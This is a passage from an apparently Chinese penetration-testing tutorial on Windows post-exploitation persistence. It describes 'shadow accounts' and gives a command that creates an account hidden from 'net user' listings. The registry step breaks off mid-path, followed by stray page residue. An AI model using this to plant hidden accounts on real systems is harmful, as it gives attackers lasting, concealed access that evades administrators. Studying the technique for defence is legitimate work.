后渗透阶段的权限维持（Windows篇）
# Windows后渗透权限维持技术详解
## 一、前言
在渗透测试过程中，获取目标主机权限后，为防止因管理员发现并修补漏洞导致权限丢失，权限维持技术至关重要。本文详细总结Windows系统中的多种权限维持方法。
## 二、影子账户技术
### 1. 创建隐藏账户
```cmd
net user OMG$ /add
```
注：$符号创建的账户在`net user`命令下不可见
### 2. 注册表操作步骤
1. 打开注册表编辑器，定位到：
```
HKEY_LOCAL_M
2025-08-17 14:12:37
0